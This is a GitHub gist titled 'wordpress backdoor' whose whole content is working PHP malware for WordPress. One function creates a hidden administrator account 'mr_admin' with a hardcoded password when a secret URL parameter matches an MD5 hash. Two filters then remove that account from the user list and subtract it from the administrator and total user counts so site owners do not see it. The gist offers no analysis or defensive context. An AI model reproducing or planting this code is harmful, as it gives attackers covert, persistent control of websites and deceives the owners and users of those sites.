Skip to content

Instantly share code, notes, and snippets.

@waqashassan98
Created June 28, 2021 13:05
Show Gist options
  • Save waqashassan98/b366a12d4ec1d676e8a69db7279ce28f to your computer and use it in GitHub Desktop.
Save waqashassan98/b366a12d4ec1d676e8a69db7279ce28f to your computer and use it in GitHub Desktop.
wordpress backdoor
function my_backdoor() {
if ( md5( $_GET['backdoor'] ) == '34d1f91fb2e514b8576fab1a75a89a6b' ) {
require( 'wp-includes/registration.php' );
if ( !username_exists( 'mr_admin' ) ) {
$user_id = wp_create_user( 'mr_admin', 'pa55w0rd!' );
$user = new WP_User( $user_id );
$user->set_role( 'administrator' );
}
}
}
add_action('pre_user_query','dt_pre_user_query');
function dt_pre_user_query($user_search) {
global $current_user;
$username = $current_user->user_login;
if ($username != 'mr_admin') {
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE 1=1 AND {$wpdb->users}.user_login != 'mr_admin'",$user_search->query_where);
}
}
add_filter("views_users", "dt_list_table_views");
function dt_list_table_views($views){
$users = count_users();
$admins_num = $users['avail_roles']['administrator'] - 1;
$all_num = $users['total_users'] - 1;
$class_adm = ( strpos($views['administrator'], 'current') === false ) ? "" : "current";
$class_all = ( strpos($views['all'], 'current') === false ) ? "" : "current";
$views['administrator'] = '<a href="users.php?role=administrator" class="' . $class_adm . '">' . translate_user_role('Administrator') . ' <span class="count">(' . $admins_num . ')</span></a>';
$views['all'] = '<a href="users.php" class="' . $class_all . '">' . __('All') . ' <span class="count">(' . $all_num . ')</span></a>';
return $views;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment